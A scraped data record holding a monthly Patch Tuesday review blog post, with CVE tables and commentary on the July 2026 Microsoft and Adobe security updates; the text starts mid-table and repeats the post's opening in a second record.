CVE-2026-50362\n  Windows Resilient File\n  System (ReFS) Remote Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50492\n  Windows Resilient File\n  System (ReFS) Remote Code Execution Vulnerability\n  Important\n  6.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50501\n  Windows Resilient File\n  System (ReFS) Remote Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-58530\n  Windows Resilient File\n  System (ReFS) Remote Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-49791\n  Windows Routing and\n  Remote Access Service (RRAS) Elevation of Privilege Vulnerability\n  Important\n  7.1\n  No\n  No\n  EoP\n \n \n  CVE-2026-50451\n  Windows Routing and\n  Remote Access Service (RRAS) Elevation of Privilege Vulnerability\n  Important\n  7.1\n  No\n  No\n  EoP\n \n \n  CVE-2026-57096\n  Windows Routing and\n  Remote Access Service (RRAS) Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50323\n  Windows Runtime\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50452\n  Windows Runtime\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50348\n  Windows Runtime\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50345\n  Windows Runtime\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50322\n  Windows Runtime\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50340\n  Windows Runtime\n  Elevation of Privilege Vulnerability\n  Important\n  8.5\n  No\n  No\n  EoP\n \n \n  CVE-2026-50410\n  Windows Runtime\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50449\n  Windows Runtime\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50460\n  Windows Runtime\n  Elevation of Privilege Vulnerability\n  Important\n  8.1\n  No\n  No\n  EoP\n \n \n  CVE-2026-50403\n  Windows Runtime\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50385\n  Windows Runtime\n  Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50413\n  Windows Runtime\n  Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50457\n  Windows Runtime\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50486\n  Windows Runtime\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50503\n  Windows Runtime\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-54125\n  Windows Runtime\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-58527\n  Windows Runtime\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50373\n  Windows Search Service\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50679\n  Windows Search Service\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-44806\n  Windows Secure Channel\n  Denial of Service Vulnerability\n  Important\n  5.3\n  No\n  No\n  DoS\n \n \n  CVE-2026-50681\n  Windows Secure Channel\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-56186\n  Windows Secure Channel\n  Information Disclosure Vulnerability\n  Important\n  8.1\n  No\n  No\n  Info\n \n \n  CVE-2026-50367\n  Windows Sensor Data\n  Service Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-58619\n  Windows Sensor Data\n  Service Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50311\n  Windows Server\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50328\n  Windows Server Update\n  Service (WSUS) Tampering Vulnerability\n  Important\n  7.5\n  No\n  No\n  Tampering\n \n \n  CVE-2026-58531\n  Windows SMB Elevation\n  of Privilege Vulnerability\n  Important\n  7.5\n  No\n  No\n  EoP\n \n \n  CVE-2026-54997\n  Windows SMB\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-49801\n  Windows SMB\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50690\n  Windows SMB\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-56168\n  Windows SMB Server\n  Denial of Service Vulnerability\n  Important\n  6.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-50360\n  Windows SMB Server\n  Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-57089\n  Windows SMB Server\n  Network Transport Driver (srvnet.sys) Remote Code Execution Vulnerability\n  Important\n  7.5\n  No\n  No\n  RCE\n \n \n  CVE-2026-50333\n  Windows Spaceport.sys\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50298\n  Windows Spaceport.sys\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-49171\n  Windows Speech Runtime\n  Elevation of Privilege Vulnerability\n  Important\n  7.5\n  No\n  No\n  EoP\n \n \n  CVE-2026-49170\n  Windows\n  StateRepository API Server file Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-58526\n  Windows Storage\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50299\n  Windows Storage Spaces\n  Direct Remote Code Execution Vulnerability\n  Important\n  6.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-57968\n  Windows Subsystem for\n  Linux (WSL2) Kernel Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-57973\n  Windows Subsystem for\n  Linux (WSL2) Kernel Tampering Vulnerability\n  Important\n  6.3\n  No\n  No\n  Tampering\n \n \n  CVE-2026-50418\n  Windows System Secure\n  Feature Bypass Vulnerability\n  Important\n  5.1\n  No\n  No\n  SFB\n \n \n  CVE-2026-50306\n  Windows TCP/IP\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50307\n  Windows TCP/IP\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-49177\n  Windows TCP/IP\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50669\n  Windows Telephony\n  Server Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-54124\n  Windows Terminal\n  Remote Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50350\n  Windows Trusted\n  Runtime Interface Driver Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50326\n  Windows Unified\n  Consent System Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-49790\n  Windows Universal Disk\n  Format File System Driver (UDFS) Elevation of Privilege Vulnerability\n  Important\n  7.3\n  No\n  No\n  EoP\n \n \n  CVE-2026-50498\n  Windows Universal Disk\n  Format File System Driver (UDFS) Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-58547\n  Windows Universal Plug\n  and Play (UPnP) Device Host Elevation of Privilege Vulnerability\n  Important\n  5.5\n  No\n  No\n  EoP\n \n \n  CVE-2026-49794\n  Windows USB Audio\n  Class Driver Information Disclosure Vulnerability\n  Important\n  4.6\n  No\n  No\n  Info\n \n \n  CVE-2026-50453\n  Windows USB Audio\n  Class Driver Information Disclosure Vulnerability\n  Important\n  6.1\n  No\n  No\n  Info\n \n \n  CVE-2026-58528\n  Windows USB Audio\n  Class Driver Information Disclosure Vulnerability\n  Important\n  6.8\n  No\n  No\n  Info\n \n \n  CVE-2026-50321\n  Windows USB Driver\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50479\n  Windows USB Hub Driver\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-55000\n  Windows USB Print\n  Driver Elevation of Privilege Vulnerability\n  Important\n  6.4\n  No\n  No\n  EoP\n \n \n  CVE-2026-54991\n  Windows USB Print\n  Driver Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-54996\n  Windows USB Print\n  Driver Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-49802\n  Windows USB Print\n  Driver Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-49806\n  Windows USB Print\n  Driver Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50674\n  Windows USB Print\n  Driver Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-49804\n  Windows USB Video\n  Driver Elevation of Privilege Vulnerability\n  Important\n  6.6\n  No\n  No\n  EoP\n \n \n  CVE-2026-50454\n  Windows User Interface\n  Core Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-49176\n  Windows WalletService\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-49800\n  Windows Web Proxy\n  Auto-Discovery Protocol (WPAD) Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50480\n  Windows Web Proxy\n  Auto-Discovery Protocol (WPAD) Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-56173\n  Windows WebView\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-58632\n  Windows Win32 Kernel\n  Subsystem Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-54107\n  Windows Win32k\n  Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-54986\n  Windows Win32k\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-54112\n  Windows Win32k\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-54114\n  Windows Win32k\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50670\n  Windows Win32k\n  Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50688\n  Windows Win32k\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50687\n  Windows Win32k\n  Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-56176\n  Windows Win32k\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-58628\n  Windows Wireless\n  Network Manager Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50295\n  Windows Zero Trust DNS\n  Security Feature Bypass Vulnerability\n  Important\n  5.5\n  No\n  No\n  SFB\n \n \n  CVE-2026-50509\n  Wireless Wide Area\n  Network Service (WwanSvc) Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-55945\n  Microsoft Edge\n  (Chromium-based) Information Disclosure Vulnerability\n  Moderate\n  4.2\n  No\n  No\n  Info\n \n \n  CVE-2026-45488\n  Microsoft Edge\n  (Chromium-based) Spoofing Vulnerability\n  Moderate\n  5.4\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-45489\n  Microsoft Edge\n  (Chromium-based) Spoofing Vulnerability\n  Moderate\n  6.5\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-55145\n  Outlook Copilot\n  Tampering Vulnerability\n  Moderate\n  6.3\n  No\n  No\n  Tampering\n \n \n  CVE-2026-56181\n  Windows Network\n  Address Translation (NAT) Spoofing Vulnerability\n  Moderate\n  8.3\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-58597\n  Microsoft\n  Edge (Chromium-based) Spoofing Vulnerability\n  Low\n  4.3\n  No\n  No\n  Spoofing\n \n \n \n  \n  \n  \n  \n  \n  \n  \n \n \n\n\n\n\n\n\n\n\n\n\n\n\n  \n  \n\n\n\n\n\n\n  \n** Indicates this CVEs has already been resolved by Microsoft, and no further action is needed by the end user.\n \n \nI\u2019ll do my best to summarize everything else in this release, but no promises. I\u2019m only human after all.\n \nLooking at the remaining Critical-rated patches, Office is its own weather system: fourteen Word/Excel/PowerPoint/Office RCEs clustered at CVSS 7.8, plus five Windows Media Foundation RCEs. Outside of the Preview Pane attack vector, they are individually unremarkable; collectively, patch Office and reboot. Always reboot. We\u2019ve already mentioned DHCP some, but DHCP Server can't catch a break. Beyond the one already covered, add CVE-2026-56159, CVE-2026-48564, CVE-2026-50370, and DHCP Client cousin CVE-2026-54128. Five DHCP RCEs in one release. Rounding things out, Print Spooler (CVE-2026-58608), Windows TCP/IP (CVE-2026-54999), and a SQL Server RCE pair (CVE-2026-54117/54118) all receive patches, and all are rated a CVSS 8.8. VE-2026-55944 (Dynamics NAV/Business Central On-Prem RCE, 9.8) is the same deserialization flavor as the SharePoint pair; it\u2019s unauthenticated, network-reachable, and easy to overlook since it's not SharePoint. CVE-2026-48561 (Microsoft Copilot RCE, 9.6) and CVE-2026-50380 (Windows GDI+ RCE, 9.6) round out the near-top tier. Don't forget CVE-2026-55040, a SharePoint Security Feature Bypass (9.1) \u2014 patch it in the same pass as the SharePoint RCE pair since it's the same product family. Identity and infrastructure get hit too: CVE-2026-54121 (AD Certificate Services EoP, 8.8) and CVE-2026-50444 (WSUS EoP, 8.8). The obscure Reliable Multicast Transport Driver (RMCAST) takes two RCEs (CVE-2026-54982, CVE-2026-54995), and CVE-2026-50474 gives Remote Desktop Client its own RCE, separate from the RDP one already covered. The rest is a long tail: Defender RCE x2, GDI+ again, Windows Media x2, Secure Kernel Mode EoP x2, and a second Hyper-V EoP. You can consider these \u201cnormal\u201d as far as patch cadence goes.\nThat leaves us with 95 RCE to discuss. I would explain, but there is too much, so let me sum up. CVE-2026-55944 (Dynamics NAV/Business Central On-Prem, 9.8) is the same deserialization flavor as the SharePoint pair: unauthenticated, easy to miss since it's not SharePoint. CVE-2026-54990 (Remote Desktop Client), CVE-2026-49172 (Windows FTP Service), and CVE-2026-50447 (MSMQ) all hit 9.8 too, proof severity labels lag CVSS sometimes. CVE-2026-48561 (Copilot) and CVE-2026-50380 (GDI+) sit at 9.6.\nThe pattern worth watching: 14 Windows NTFS and 7 ReFS RCEs/ That makes 21 filesystem-driver bugs, an unusually large cluster suggesting a shared root cause. Microsoft Edge (Chromium-based) contributes 21 more that are genuinely Microsoft's to patch, not Chromium re-listing noise. Remote Desktop Client racks up a second and third RCE (CVE-2026-50474, CVE-2026-58594), and Windows Admin Center picks up two (CVE-2026-56196/56197) \u2014 WAC exposure keeps creeping into these releases. Exchange Server (CVE-2026-55005) and AD Domain Services (CVE-2026-49178) both land at 8.8.\nAnd because this release wouldn't be complete without it: CVE-2026-50663, an RCE in Age of Empires II: Definitive Edition. Yes, really. Patch your civilization anyway.\nThere are close to 260 EoP bugs in this month\u2019s release. Microsoft could have just published the EoPs and still had a record-setting month. As usual, most simply lead to local attackers executing their code at SYSTEM-level privileges or administrative privileges, so there\u2019s not much to add without further technical details about the bugs themselves. What\u2019s really frustrating is that 94 have no explicit privilege statement at all. Microsoft just says \u201celevate privileges\u201d with no detail. By my count, that leaves around 25 bugs to consider. Some don\u2019t elevate at all. The FAQ literally says the attacker just gets \u201cthe rights of the user running the affected application.\u201d That covers Win32k, Clip Service, Search Service, MSMQ, and SharePoint. A few get a Low-to-Medium integrity bump. There are also a couple that lead to downgraded service accounts or arbitrary file deletion, but nothing else I\u2019ve seen really stands out too much.\nThere are 20 Security Feature Bypass (SFB) bugs this month, and it's a genuinely mixed bag. CVE-2026-55040 leads at Critical, CVSS 9.1 as it\u2019s weak authentication in SharePoint Server. Patch it in the same pass as the SharePoint RCE pair since it's the same product. The AI-coding-tool trend continues: GitHub Copilot and Visual Studio Code and Visual Studio all land SFB bugs, mostly injection or path-traversal flavored. BitLocker is this month's lone publicly disclosed bug. It\u2019s not exploited yet, but public disclosure is a countdown clock, not a free pass. It requires physical access, as does the bug in Microsoft XML. The firmware/boot cluster is worth a second look: Secure Boot, Boot Loader, and Key Guard all touch the trust chain below the OS. Meaning, despite a low CVSS score, \u201cif this fails, nothing above it can be trusted\u201d stakes. Rounding out the SFB patches, there are two .NET SFBs, two Windows Kernel SFBs, and a DNS/Cryptographic Services bringing up the rear.\nThe July release includes 31Spoofing bugs this month, and we\u2019ve already covered the most important (Exchange). SharePoint Server accounts for another ten with almost all the same root cause: stored XSS letting an authenticated attacker spoof content in the browser. Microsoft Edge (Chromium-based) contributes fifteen more spanning access-control failures, SSRF, type confusion, and UI misrepresentation. All genuinely Microsoft's to patch, not re-listed Chromium noise. The remaining six round out the usual suspects: a Windows NAT spoofing bug reachable from an adjacent network, a Bing app flaw on iOS, a PowerBI Report Server XSS issue, a .NET output-encoding bug, and an AD FS spoofing flaw. None publicly disclosed, none exploited, but with SharePoint's history this year, don't let \"just Spoofing\" lull you into deprioritizing the patch cycle.\nOf 111 Information Disclosure bugs, the overwhelming majority of these simply result in info leaks consisting of unspecified memory contents or memory addresses. GitHub Copilot is the standout. Here, the bug insufficiently protected credentials, meaning actual secrets leak, not memory scraps. The Windows Admin Center flaw discloses data via improper authentication. A management console leaking to an unauthorized party is a bigger deal than it sounds. SharePoint uses SSRF to pull data server-side, and the Event Logging Service is a protection-mechanism failure, not a memory bug at all. Edge picks up three genuinely file-system-flavored disclosures \u2014 improper authorization, files/directories accessible to external parties, and link-following \u2014 plus Edge for Android exposing \u201cprivate personal information\u201d twice and two path-traversal bugs. The remaining 40+ are mostly one-line \u201cexposure of sensitive information to an unauthorized actor\u201d entries scattered across File Explorer, Push Notifications, Cryptographic Services, and Win32k.\nOnly 8 Tampering bugs this month, the smallest bucket, but a couple stand out. The top of the list is a WSUS bug, caused by an uncaught exception that lets an unauthenticated attacker tamper with the update service over the network. That\u2019s your patch-management infrastructure itself being the target, which always deserves extra attention. Windows CNG (the crypto API) picks up a missing-cryptographic-step flaw, and Windows DNS Client shows up three separate times across the list, twice for improper access control and once for missing authentication on a critical function. DNS resolution having this many tampering paths in one release is worth flagging as a pattern rather than three unrelated bugs. The one genuinely different entry is Outlook Copilot, described simply as vulnerable to \u201cmalicious uses\u201d enabling tampering over the network. That\u2019s a fantastically vague phrasing for an AI-assistant feature, continuing this year's running theme of Copilot-branded features showing up somewhere in every release. Finally, a .NET link-following bug and a WSL2 kernel race condition receive patches. Both require local/authorized access to trigger.\nStill with me? Good, because we have 35 DoS bugs to cover, and this is really an identity-infrastructure story more than a grab-bag. Active Directory Federation Services alone accounts for seven of them, all sitting at CVSS 7.5, all stack-based buffer overflows or infinite loops that let an unauthenticated attacker knock the service over the network.  The .NET ecosystem is the other big cluster: .NET, .NET Framework, and ASP.NET Core/OData contribute nine bugs combined, almost all \u201callocation of resources without limits or throttling\u201d.  HTTP.sys and HTTP/2 pick up the same flavor. LSASS shows up twice, which is always worth a second look given what that process actually holds. Rounding out the list are patches for Windows DHCP Server, SMB Server, Secure Channel, Hyper-V, and IKE Protocol each take a single hit, mostly requiring authorized or adjacent-network access rather than being wide open to the internet.\nNo new advisories are being released this month.\nLooking Ahead\nThe next Patch Tuesday will be on August 11, just after Hacker Summer Camp in sunny Las Vegas. Should I survive the heat, I\u2019ll be back then to give you my full thoughts on the release \u2013 no matter how large it may be. Until then, stay safe, happy patching, and may all your reboots be smooth and clean!", "creation_timestamp": "2026-07-15T01:01:44.150900Z"}, {"uuid": "5fd2a365-87e3-443c-9e81-f2d46d17d639", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-54118", "type": "seen", "source": "https://www.thezdi.com/blog/2026/7/14/the-july-2026-security-update-review", "content": "Well folks. Here we are. The bug apocalypse has fully descended upon us. I\u2019ll do my best to sort this out in some way meaningful, but this month\u2019s release shows us the nay-sayers were right, and I\u2019ve got to hand it to the nay-sayers here. Excellent call. Take an extended break from your regularly scheduled activities as we let\u2019s take a look at the latest security patches from Adobe and Microsoft. If you\u2019d rather watch the full video recap covering the entire release, you can check out the Patch Report webcast on our YouTube channel. It should be posted within a couple of hours after the release.\nAdobe Patches for July 2026\nAdobe has now moved to a bimonthly release schedule, which means they will be releasing patches on the second and fourth Tuesdays of the month. I\u2019ll continue to cover the second Tuesday release here and update this blog should the fourth Tuesday release contain anything significant. I think this is a smart way to break up a monster release into something a bit more manageable. Apple has said they are taking a similar approach. We\u2019ll see if other vendors follow their lead.\nFor the first part of the July release, Adobe released 12 bulletins addressing 88 unique CVEs in Adobe ColdFusion, Commerce, After Effects, Animate, Audition, Bridge, Creative Cloud Desktop Application, Experience Manager, Illustrator, Media Encoder, Premiere Pro, and the Content Credentials SDK.\nHere\u2019s this month\u2019s overview table:\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n  \n  \n\n\n\n\n  \n\n\n  \n    \n\n\n\n\n\n  \n  \n  \n  \n  \n  \n  \n\n\n  \n    Bulletin ID\n    Product\n    CVE Count\n    Highest Severity\n    Highest CVSS\n    Exploited\n    Deployment Priority\n  \n\n\n  \n    APSB26-82\n    Adobe ColdFusion\n    13\n    Critical\n    9.9\n    No\n    1\n  \n  \n    APSB26-73\n    Adobe Commerce\n    13\n    Critical\n    9.6\n    No\n    2\n  \n  \n    APSB26-78\n    Adobe After Effects\n    3\n    Critical\n    7.8\n    No\n    3\n  \n  \n    APSB26-83\n    Adobe Animate\n    6\n    Critical\n    8.6\n    No\n    3\n  \n  \n    APSB26-71\n    Adobe Audition\n    6\n    Critical\n    7.8\n    No\n    3\n  \n  \n    APSB26-81\n    Adobe Bridge\n    6\n    Critical\n    7.8\n    No\n    3\n  \n  \n    APSB26-77\n    Adobe Creative Cloud Desktop Application\n    2\n    Critical\n    8.1\n    No\n    3\n  \n  \n    APSB26-74\n    Adobe Experience Manager\n    13\n    Critical\n    9.6\n    No\n    3\n  \n  \n    APSB26-79\n    Adobe Illustrator\n    5\n    Critical\n    9.3\n    No\n    3\n  \n  \n    APSB26-72\n    Adobe Media Encoder\n    5\n    Critical\n    7.8\n    No\n    3\n  \n  \n    APSB26-76\n    Adobe Premiere Pro\n    4\n    Critical\n    7.8\n    No\n    3\n  \n  \n    APSB26-80\n    Content Credentials SDK\n    12\n    Critical\n    8.2\n    No\n    3\n  \n\n\n  \n    TOTAL\n    12 bulletins\n    88\n    \n    \n    \n    \n  \n\n\n\n\n\n  \n  \n\n\n\n\n\n\n  \nWhile nothing is under active exploit, I would prioritize the Cold Fusion and Commerce patches first. The patch for Cold Fusion even clocks in with a CVSS 9.9 bug. Beyond that, most of these updates are pretty straightforward. If you\u2019re using these products, patch them. However, you can use you regular patch cadence here. \nMicrosoft Patches for July 2026\nHere it is. The Mother of All Releases. To call this record-breaking is an understatement. How to count this mess is anyone\u2019s guess, but I see new Microsoft 621 CVEs for the month of July. Some of these are in online services where no user action is required. They also list about 480 bugs in Chromium and Microsoft Edge (Chromium-based) that I won\u2019t cover here. Here\u2019s how I put this in context. I looked at the last 20 years of Microsoft releases. The CVE count year-to-date exceeds all other years\u2019 totals.\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n  \n  \n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n  \n\n    \n  \n    \n\n      \n\n      \n        \n\n          \n        \n        \n\n        \n          \n            \n              \n              \n          \n            \n                \n                \n                \n                \n                \n                \n                \n                \n\n            \n          \n        \n            \n          \n        \n\n        \n      \n        \n      \n\n    \n  \n\n\n  \n\n\n\n\n\n  \nThe products covered this month are also astonishing. There are patches for Windows and Windows components, Office and Office Components, Microsoft Edge (Chromium-based), Azure, .NET and Visual Studio, Github Copilot, Defender, Exchange Server, Hyper-V, Ages of Empire II, and Minecraft Server (really!). That phrase \u201cWindows components\u201d does some pretty heavy lifting here, too, as just about everything you\u2019ve ever heard of is getting patched. All told, there are 63 rated Critical, six rated Moderate, one rated Low, with the rest rated Important in severity. Eight of these bugs were submitted through the ZDI program (more on that later). Two CVEs are listed as under active exploit while one other is listed as publicly known.\nSo how do we eat this elephant? One byte at a time (pun intended). Let\u2019s start by looking a closer look at some of the more interesting updates for this month, starting with the bugs being exploited in the wild.\n-    CVE-2026-56155 - Active Directory Federation Services Elevation of Privilege VulnerabilityThis is one of several AD FS being patched this month, but it\u2019s the only one being actively exploited. It stems from insufficient access-control granularity and does require local access and low privileges to start, but AD FS is exactly the kind of identity infrastructure attackers love to pivot through once they're in. It can also be paired with an RCE as we often see in ransomware. Test and deploy this patch quickly.\n-    CVE-2026-56164 - Microsoft SharePoint Server Elevation of Privilege VulnerabilityThe other bug being exploited in the wild this month is a modest CVSS 5.3 \u2013 but it shows why Moderate severity bugs still matter. It's a missing-authentication flaw, meaning an unauthenticated attacker can hit it over the network with no user interaction required. When something this reachable is being actively abused, patch it now and worry about the score later.\n-    CVE-2026-57092 - Microsoft Windows VMSwitch Elevation of Privilege VulnerabilityThis patch rates the highest CVSS score for the month: a solid 9.9. It\u2019s a use-after-free that lets a low-privileged attacker escalate to full host compromise across a VM boundary. We saw something like this demonstrated at Pwn2Own Berlin on ESXi, but it clearly isn\u2019t alone. If you\u2019re using VMSwitch in your Hyper-V deployments (and you likely are), test and deploy this one quickly.\n-    CVE-2026-50522/58644 - Microsoft SharePoint Remote Code Execution VulnerabilityThis matching pair of CVSS 9.8 bugs results from the deserialization-of-untrusted-data and are reachable without authentication or user interaction. CVE-2026-50522 was demonstrated during Pwn2Own Berlin, so it\u2019s odd to see Microsoft list it as \u201cExploit Maturity Unknown\u201d since we literally handed them a working exploit. Just another reason to do your own risk assessment and not rely 100% on the vendor. If you have any Internet accessible SharePoint servers, test and deploy this patch quickly. \n-    CVE-2026-56190 - Remote Desktop Protocol Remote Code Execution Vulnerability This patch covers an unauthenticated, network-reachable, no user interaction required bug. The root cause is a classic one: use of uninitialized resource (CWE-908), meaning specially crafted RDP traffic can interact with memory that was never properly initialized, letting an attacker corrupt memory and potentially steer code execution. RDP Servers are a common target, so audit your systems to see which are internet accessible and start from there. \n-    CVE-2026-55008 - Microsoft Exchange Server Spoofing VulnerabilityIgnore the title here and treat this like the XSS bug it is. The vulnerability is listed as a CVSS 9.6 since it\u2019s a stored cross-site scripting flaw in Outlook Web Access, with a scope-changed impact that lets it break out of the web app context entirely. An attacker sends a specially crafted email, and if the victim simply opens it in OWA, arbitrary JavaScript executes in their browser session \u2014 no attachment needed, no macro warning, just viewing the message does it. If you\u2019re using OWA, test and deploy this one quickly.\n-    CVE-2026-50518 - Windows DHCP Server Remote Code Execution VulnerabilityThere are a couple of these DHCP RCE patches in this release, but the other has caveats while this one does not. Both are heap-based buffer overflows scoring CVSS 9.8, both unauthenticated and network-reachable. If you're running DHCP Server role on anything Internet-adjacent (you're not, right?), these move to the top of the list.\n-    CVE-2026-56188 - Windows Server Network driver Remote Code Execution VulnerabilityAnother Critical-rated bug, this one is caused by a race condition. It\u2019s always fun to see a TOCTOU bug rated this high, since race conditions are notoriously finicky to exploit reliably. While it may prove tricky to exploit, this bug could allow an attacker to execute privileged code over the network without user interaction. Don\u2019t let the race condition lull you to sleep on a wormable bug.\n-    CVE-2026-55010 - Minecraft Bedrock Dedicated Server Remote Code Execution VulnerabilityFile this in the \u201cwhy not\u201d category. This bug is a heap-based buffer overflow in Minecraft Bedrock Dedicated Server, also CVSS 9.8 and also unauthenticated RCE. Yes, your kid\u2019s Minecraft server (it is your kid\u2019s server, right?) is exposed to the same class of bug as your DHCP infrastructure. Patch it anyway.\nHere\u2019s the full list of CVEs released by Microsoft for July 2026:\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n  \n  \n\n\n\n\n  \n\n\n  \n    \n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n \n \n \n \n  CVE\n  Title\n  Severity\n  CVSS\n  Public\n  Exploited\n  Type\n \n \n  CVE-2026-56155\n  Active Directory\n  